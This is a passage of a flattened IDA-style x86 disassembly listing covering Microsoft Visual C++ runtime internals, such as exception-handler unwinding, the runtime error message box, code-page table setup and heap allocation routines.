dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_403401 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_403401: ; CODE XREF: sub_4033E0+10j retn sub_4033E0 endp ; =============== S U B R O U T I N E ======================================= sub_403402 proc near ; CODE XREF: sub_4034B8+67p ; sub_4034B8+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4033E0 push large dword ptr fs:0 mov large fs:0, esp loc_40341F: ; CODE XREF: sub_403402:loc_40345Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40345C cmp esi, [esp+1Ch+arg_4] jz short loc_40345C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40345A push 101h mov eax, [ebx+esi*4+8] call sub_403496 call dword ptr [ebx+esi*4+8] loc_40345A: ; CODE XREF: sub_403402+44j jmp short loc_40341F ; --------------------------------------------------------------------------- loc_40345C: ; CODE XREF: sub_403402+2Aj ; sub_403402+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_403402 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4033E0 jnz short locret_40348C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_40348C mov eax, 1 locret_40348C: ; CODE XREF: .text:0040347Aj ; .text:00403485j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_406D8C jmp short loc_4034A0 ; =============== S U B R O U T I N E ======================================= sub_403496 proc near ; CODE XREF: sub_403402+4Fp ; sub_4034B8+78p push ebx push ecx mov ebx, offset dword_406D8C mov ecx, [ebp+8] loc_4034A0: ; CODE XREF: .text:00403494j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_403496 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034B8 proc near ; DATA XREF: .text:00402848o ; sub_40371C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_403558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4034EB: ; CODE XREF: sub_4034B8+90j cmp esi, 0FFFFFFFFh jz short loc_403551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_40353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_40353F js short loc_40354A mov edi, [ebx+8] push ebx call sub_4033C0 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_403402 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_403496 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_40353F: ; CODE XREF: sub_4034B8+40j ; sub_4034B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4034EB ; --------------------------------------------------------------------------- loc_40354A: ; CODE XREF: sub_4034B8+54j mov eax, 0 jmp short loc_40356D ; --------------------------------------------------------------------------- loc_403551: ; CODE XREF: sub_4034B8+36j mov eax, 1 jmp short loc_40356D ; --------------------------------------------------------------------------- loc_403558: ; CODE XREF: sub_4034B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_403402 add esp, 8 pop ebp mov eax, 1 loc_40356D: ; CODE XREF: sub_4034B8+97j ; sub_4034B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4034B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_403402 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_403590 proc near ; CODE XREF: sub_402934+9p ; sub_402959+9p mov eax, dword_406F48 cmp eax, 1 jz short loc_4035A7 test eax, eax jnz short locret_4035C8 cmp dword_406AD4, 1 jnz short locret_4035C8 loc_4035A7: ; CODE XREF: sub_403590+8j push 0FCh call sub_4035C9 mov eax, dword_4070A4 pop ecx test eax, eax jz short loc_4035BD call eax loc_4035BD: ; CODE XREF: sub_403590+29j push 0FFh call sub_4035C9 pop ecx locret_4035C8: ; CODE XREF: sub_403590+Cj ; sub_403590+15j retn sub_403590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035C9 proc near ; CODE XREF: sub_402934+12p ; sub_402959+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_406DA0 loc_4035DC: ; CODE XREF: sub_4035C9+20j cmp edx, [eax] jz short loc_4035EB add eax, 8 inc ecx cmp eax, offset byte_406E30 jl short loc_4035DC loc_4035EB: ; CODE XREF: sub_4035C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_406DA0[esi] jnz loc_403719 mov eax, dword_406F48 cmp eax, 1 jz loc_4036F3 test eax, eax jnz short loc_40361C cmp dword_406AD4, 1 jz loc_4036F3 loc_40361C: ; CODE XREF: sub_4035C9+44j cmp edx, 0FCh jz loc_403719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_405034 ; GetModuleFileNameA test eax, eax jnz short loc_403653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_402720 pop ecx pop ecx loc_403653: ; CODE XREF: sub_4035C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_402210 inc eax pop ecx cmp eax, 3Ch jbe short loc_403696 lea eax, [ebp+var_1A4] push eax call sub_402210 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_404600 add esp, 10h loc_403696: ; CODE XREF: sub_4035C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_402720 lea eax, [ebp+var_A0] push edi push eax call sub_402730 lea eax, [ebp+var_A0] push offset asc_4053E8 ; "\n\n" push eax call sub_402730 push off_406DA4[esi] lea eax, [ebp+var_A0] push eax call sub_402730 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_404573 add esp, 2Ch pop edi jmp short loc_403719 ; --------------------------------------------------------------------------- loc_4036F3: ; CODE XREF: sub_4035C9+3Cj ; sub_4035C9+4Dj lea eax, [ebp+arg_0] lea esi, off_406DA4[esi] push 0 push eax push dword ptr [esi] call sub_402210 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_4050D8 ; GetStdHandle push eax call dword_40507C ; WriteFile loc_403719: ; CODE XREF: sub_4035C9+2Ej ; sub_4035C9+59j ... pop esi leave retn sub_4035C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40371C proc near ; CODE XREF: sub_402A4C+5Ep ; sub_403AE6+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405428 push offset sub_4034B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4070A8 xor ebx, ebx cmp eax, ebx jnz short loc_40378B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_405424 push esi call dword_405070 ; GetStringTypeW test eax, eax jz short loc_403769 mov eax, esi jmp short loc_403786 ; --------------------------------------------------------------------------- loc_403769: ; CODE XREF: sub_40371C+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_406F38 push esi push ebx call dword_405074 ; GetStringTypeA test eax, eax jz loc_403851 push 2 pop eax loc_403786: ; CODE XREF: sub_40371C+4Bj mov dword_4070A8, eax loc_40378B: ; CODE XREF: sub_40371C+2Fj cmp eax, 2 jnz short loc_4037B4 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_40379C mov eax, dword_4070C4 loc_40379C: ; CODE XREF: sub_40371C+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_405074 ; GetStringTypeA jmp loc_403853 ; --------------------------------------------------------------------------- loc_4037B4: ; CODE XREF: sub_40371C+72j cmp eax, 1 jnz loc_403851 cmp [ebp+arg_10], ebx jnz short loc_4037CA mov eax, dword_4070D4 mov [ebp+arg_10], eax loc_4037CA: ; CODE XREF: sub_40371C+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_405078 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_403851 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_4025D0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_4021B0 add esp, 0Ch jmp short loc_403820 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_403820: ; CODE XREF: sub_40371C+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_403851 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_405078 ; MultiByteToWideChar cmp eax, ebx jz short loc_403851 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_405070 ; GetStringTypeW jmp short loc_403853 ; --------------------------------------------------------------------------- loc_403851: ; CODE XREF: sub_40371C+61j ; sub_40371C+9Bj ... xor eax, eax loc_403853: ; CODE XREF: sub_40371C+93j ; sub_40371C+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_40371C endp ; =============== S U B R O U T I N E ======================================= sub_403865 proc near ; CODE XREF: sub_402D47+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_403876 add esp, 0Ch retn sub_403865 endp ; =============== S U B R O U T I N E ======================================= sub_403876 proc near ; CODE XREF: sub_403865+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_407221[eax], cl jnz short loc_4038A3 cmp [esp+arg_4], 0 jz short loc_40389C movzx eax, word_406AEA[eax*2] and eax, [esp+arg_4] jmp short loc_40389E ; --------------------------------------------------------------------------- loc_40389C: ; CODE XREF: sub_403876+16j xor eax, eax loc_40389E: ; CODE XREF: sub_403876+24j test eax, eax jnz short loc_4038A3 retn ; --------------------------------------------------------------------------- loc_4038A3: ; CODE XREF: sub_403876+Fj ; sub_403876+2Aj push 1 pop eax retn sub_403876 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038A7 proc near ; CODE XREF: sub_403C6B+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_403A40 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_407100 mov [ebp+arg_0], esi jz loc_403A34 xor ebx, ebx cmp esi, ebx jz loc_403A2A xor edx, edx mov eax, offset dword_406E38 loc_4038DB: ; CODE XREF: sub_4038A7+41j cmp [eax], esi jz short loc_403951 add eax, 30h inc edx cmp eax, offset dword_406F28 jl short loc_4038DB lea eax, [ebp+var_18] push eax push esi call dword_40506C ; GetCPInfo cmp eax, 1 jnz loc_403A22 push 40h xor eax, eax pop ecx mov edi, offset byte_407220 cmp [ebp+var_18], 1 mov dword_407100, esi rep stosd stosb mov dword_407324, ebx jbe loc_403A10 cmp [ebp+var_12], 0 jz loc_4039E6 lea ecx, [ebp+var_11] loc_40392E: ; CODE XREF: sub_4038A7+139j mov dl, [ecx] test dl, dl jz loc_4039E6 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_40393F: ; CODE XREF: sub_4038A7+A8j cmp eax, edx ja loc_4039DA or byte_407221[eax], 4 inc eax jmp short loc_40393F ; --------------------------------------------------------------------------- loc_403951: ; CODE XREF: sub_4038A7+36j push 40h xor eax, eax pop ecx mov edi, offset byte_407220 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_406E48[esi] loc_40396D: ; CODE XREF: sub_4038A7+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_4039A0 loc_403974: ; CODE XREF: sub_4038A7+F7j mov dl, [ecx+1] test dl, dl jz short loc_4039A0 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_403999 mov edx, [ebp+var_4] mov dl, byte_406E30[edx] loc_40398E: ; CODE XREF: sub_4038A7+F0j or byte_407221[eax], dl inc eax cmp eax, edi jbe short loc_40398E loc_403999: ; CODE XREF: sub_4038A7+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_403974 loc_4039A0: ; CODE XREF: sub_4038A7+CBj ; sub_4038A7+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_40396D mov eax, [ebp+arg_0] mov dword_40711C, 1 push eax mov dword_407100, eax call sub_403A8A lea esi, dword_406E3C[esi] mov edi, offset dword_407110 movsd movsd pop ecx mov dword_407324, eax movsd jmp short loc_403A2F ; --------------------------------------------------------------------------- loc_4039DA: ; CODE XREF: sub_4038A7+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_40392E loc_4039E6: ; CODE XREF: sub_4038A7+7Ej ; sub_4038A7+8Bj push 1 pop eax loc_4039E9: ; CODE XREF: sub_4038A7+14Fj or byte_407221[eax], 8 inc eax cmp eax, 0FFh jb short loc_4039E9 push esi call sub_403A8A pop ecx mov dword_407324, eax mov dword_40711C, 1 jmp short loc_403A16 ; --------------------------------------------------------------------------- loc_403A10: ; CODE XREF: sub_4038A7+74j mov dword_40711C, ebx loc_403A16: ; CODE XREF: sub_4038A7+167j xor eax, eax mov edi, offset dword_407110 stosd stosd stosd jmp short loc_403A2F ; --------------------------------------------------------------------------- loc_403A22: ; CODE XREF: sub_4038A7+51j cmp dword_4070AC, ebx jz short loc_403A38 loc_403A2A: ; CODE XREF: sub_4038A7+27j call sub_403ABD loc_403A2F: ; CODE XREF: sub_4038A7+131j ; sub_4038A7+179j call sub_403AE6 loc_403A34: ; CODE XREF: sub_4038A7+1Dj xor eax, eax jmp short loc_403A3B ; --------------------------------------------------------------------------- loc_403A38: ; CODE XREF: sub_4038A7+181j or eax, 0FFFFFFFFh loc_403A3B: ; CODE XREF: sub_4038A7+18Fj pop edi pop esi pop ebx leave retn sub_4038A7 endp ; =============== S U B R O U T I N E ======================================= sub_403A40 proc near ; CODE XREF: sub_4038A7+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4070AC, 0 cmp eax, 0FFFFFFFEh jnz short loc_403A60 mov dword_4070AC, 1 jmp dword_405064 ; --------------------------------------------------------------------------- loc_403A60: ; CODE XREF: sub_403A40+Ej cmp eax, 0FFFFFFFDh jnz short loc_403A75 mov dword_4070AC, 1 jmp dword_405068 ; --------------------------------------------------------------------------- loc_403A75: ; CODE XREF: sub_403A40+23j cmp eax, 0FFFFFFFCh jnz short locret_403A89 mov eax, dword_4070D4 mov dword_4070AC, 1 locret_403A89: ; CODE XREF: sub_403A40+38j retn sub_403A40 endp ; =============== S U B R O U T I N E ======================================= sub_403A8A proc near ; CODE XREF: sub_4038A7+118p ; sub_4038A7+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_403AB7 sub eax, 4 jz short loc_403AB1 sub eax, 0Dh jz short loc_403AAB dec eax jz short loc_403AA5 xor eax, eax retn ; --------------------------------------------------------------------------- loc_403AA5: ; CODE XREF: sub_403A8A+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_403AAB: ; CODE XREF: sub_403A8A+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_403AB1: ; CODE XREF: sub_403A8A+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_403AB7: ; CODE XREF: sub_403A8A+9j mov eax, 411h retn sub_403A8A endp ; =============== S U B R O U T I N E ======================================= sub_403ABD proc near ; CODE XREF: sub_4038A7:loc_403A2Ap push edi push 40h pop ecx xor eax, eax mov edi, offset byte_407220 rep stosd stosb xor eax, eax mov edi, offset dword_407110 mov dword_407100, eax mov dword_40711C, eax mov dword_407324, eax stosd stosd stosd pop edi retn sub_403ABD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403AE6 proc near ; CODE XREF: sub_4038A7:loc_403A2Fp var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_407100 call dword_40506C ; GetCPInfo cmp eax, 1 jnz loc_403C1F xor eax, eax mov esi, 100h loc_403B10: ; CODE XREF: sub_403AE6+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_403B10 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_403B61 push ebx push edi lea edx, [ebp+var_D] loc_403B2F: ; CODE XREF: sub_403AE6+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_403B56 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_403B56: ; CODE XREF: sub_403AE6+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_403B2F pop edi pop ebx loc_403B61: ; CODE XREF: sub_403AE6+42j push 0 lea eax, [ebp+var_514] push dword_407324 push dword_407100 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_40371C push 0 lea eax, [ebp+var_214] push dword_407100 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_407324 call sub_4046FE push 0 lea eax, [ebp+var_314] push dword_407100 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_407324 call sub_4046FE add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_403BDC: ; CODE XREF: sub_403AE6+135j mov dx, [ecx] test dl, 1 jz short loc_403BFA or byte_407221[eax], 10h mov dl, [ebp+eax+var_214] loc_403BF2: ; CODE XREF: sub_403AE6+127j mov byte_407120[eax], dl jmp short loc_403C16 ; --------------------------------------------------------------------------- loc_403BFA: ; CODE XREF: sub_403AE6+FCj test dl, 2 jz short loc_403C0F or byte_407221[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_403BF2 ; --------------------------------------------------------------------------- loc_403C0F: ; CODE XREF: sub_403AE6+117j and byte_407120[eax], 0 loc_403C16: ; CODE XREF: sub_403AE6+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_403BDC jmp short loc_403C68 ; --------------------------------------------------------------------------- loc_403C1F: ; CODE XREF: sub_403AE6+1Dj xor eax, eax mov esi, 100h loc_403C26: ; CODE XREF: sub_403AE6+180j cmp eax, 41h jb short loc_403C44 cmp eax, 5Ah ja short loc_403C44 or byte_407221[eax], 10h mov cl, al add cl, 20h loc_403C3C: ; CODE XREF: sub_403AE6+174j mov byte_407120[eax], cl jmp short loc_403C63 ; --------------------------------------------------------------------------- loc_403C44: ; CODE XREF: sub_403AE6+143j ; sub_403AE6+148j cmp eax, 61h jb short loc_403C5C cmp eax, 7Ah ja short loc_403C5C or byte_407221[eax], 20h mov cl, al sub cl, 20h jmp short loc_403C3C ; --------------------------------------------------------------------------- loc_403C5C: ; CODE XREF: sub_403AE6+161j ; sub_403AE6+166j and byte_407120[eax], 0 loc_403C63: ; CODE XREF: sub_403AE6+15Cj inc eax cmp eax, esi jb short loc_403C26 loc_403C68: ; CODE XREF: sub_403AE6+137j pop esi leave retn sub_403AE6 endp ; =============== S U B R O U T I N E ======================================= sub_403C6B proc near ; CODE XREF: sub_402D47+9p ; sub_402D9F+Dp ... cmp dword_407448, 0 jnz short locret_403C86 push 0FFFFFFFDh call sub_4038A7 pop ecx mov dword_407448, 1 locret_403C86: ; CODE XREF: sub_403C6B+7j retn sub_403C6B endp ; =============== S U B R O U T I N E ======================================= sub_403C87 proc near ; CODE XREF: sub_402D9F+9Dp ; sub_4030A5+BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_403CB4 push esi call sub_403D68 pop ecx test eax, eax push esi jz short loc_403CA6 push eax call sub_403D93 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_403CA6: ; CODE XREF: sub_403C87+13j push 0 push dword_407328 call dword_405084 ; RtlFreeHeap loc_403CB4: ; CODE XREF: sub_403C87+7j pop esi retn sub_403C87 endp ; =============== S U B R O U T I N E ======================================= sub_403CB6 proc near ; CODE XREF: sub_402D9F+3Ap ; sub_402D9F+6Fp ... arg_0 = dword ptr 4 push dword_4070E0 push [esp+4+arg_0] call sub_403CC8 pop ecx pop ecx retn sub_403CB6 endp ; =============== S U B R O U T I N E ======================================= sub_403CC8 proc near ; CODE XREF: sub_403CB6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_403CF1 loc_403CCF: ; CODE XREF: sub_403CC8+27j push [esp+arg_0] call sub_403CF4 test eax, eax pop ecx jnz short locret_403CF3 cmp [esp+arg_4], eax jz short locret_403CF3 push [esp+arg_0] call sub_40494D test eax, eax pop ecx jnz short loc_403CCF loc_403CF1: ; CODE XREF: sub_403CC8+5j xor eax, eax locret_403CF3: ; CODE XREF: sub_403CC8+13j ; sub_403CC8+19j retn sub_403CC8 endp ; =============== S U B R O U T I N E ======================================= sub_403CF4 proc near ; CODE XREF: sub_403CC8+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_406F28 ja short loc_403D0C push esi call sub_4040BE test eax, eax pop ecx jnz short loc_403D28 loc_403D0C: ; CODE XREF: sub_403CF4+Bj test esi, esi jnz short loc_403D13 push 1 pop esi loc_403D13: ; CODE XREF: sub_403CF4+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_407328 call dword_405060 ; RtlAllocateHeap loc_403D28: ; CODE XREF: sub_403CF4+16j pop esi retn sub_403CF4 endp ; =============== S U B R O U T I N E ======================================= sub_403D2A proc near ; CODE XREF: sub_403382+20p push 140h push 0 push dword_407328 call dword_405060 ; RtlAllocateHeap test eax, eax mov dword_4070FC, eax jnz short loc_403D47 retn ; --------------------------------------------------------------------------- loc_403D47: ; CODE XREF: sub_403D2A+1Aj and dword_4070F4, 0 and dword_4070F8, 0 push 1 mov dword_4070F0, eax mov dword_4070E8, 10h pop eax retn sub_403D2A endp ; =============== S U B R O U T I N E ======================================= sub_403D68 proc near ; CODE XREF: sub_403C87+Ap arg_0 = dword ptr 4 mov eax, dword_4070F8 lea ecx, [eax+eax*4] mov eax, dword_4070FC lea ecx, [eax+ecx*4] loc_403D78: ; CODE XREF: sub_403D68+26j cmp eax, ecx jnb short loc_403D90 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_403D92 add eax, 14h jmp short loc_403D78 ; --------------------------------------------------------------------------- loc_403D90: ; CODE XREF: sub_403D68+12j xor eax, eax locret_403D92: ; CODE XREF: sub_403D68+21j retn sub_403D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403D93 proc near ; CODE XREF: sub_403C87+16p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_403E59 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_403DEB mov [ebp+arg_4], edi loc_403DEB: ; CODE XREF: sub_403D93+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_403E3D mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_403E19 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_403E3D mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_403E3D ; --------------------------------------------------------------------------- loc_403E19: ; CODE XREF: sub_403D93+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_403E3D mov ecx, [ebp+arg_0] and [ecx+4], edi loc_403E3D: ; CODE XREF: sub_403D93+60j ; sub_403D93+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_403E59: ; CODE XREF: sub_403D93+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_403E67 push 3Fh pop edi loc_403E67: ; CODE XREF: sub_403D93+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_403F16 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_403E92 mov [ebp+arg_4], edx mov ecx, edx loc_403E92: ; CODE XREF: sub_403D93+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_403EA4 mov edi, edx loc_403EA4: ; CODE XREF: sub_403D93+10Dj cmp ecx, edi jz short loc_403F13 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_403EFB mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_403ED7 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_403EFB mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_403EFB ; --------------------------------------------------------------------------- loc_403ED7: ; CODE XREF: sub_403D93+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_403EFB mov ecx, [ebp+arg_0] and [ecx+4], edx loc_403EFB: ; CODE XREF: sub_403D93+11Ej ; sub_403D93+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_403F13: ; CODE XREF: sub_403D93+113j mov edx, [ebp+var_8] loc_403F16: ; CODE XREF: sub_403D93+DDj cmp [ebp+var_14], 0 jnz short loc_403F25 cmp [ebp+arg_4], edi jz loc_403FAE loc_403F25: ; CODE XREF: sub_403D93+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_403FAE mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_403F82 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_403F71 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_403F71: ; CODE XREF: sub_403D93+1CEj mov ebx, 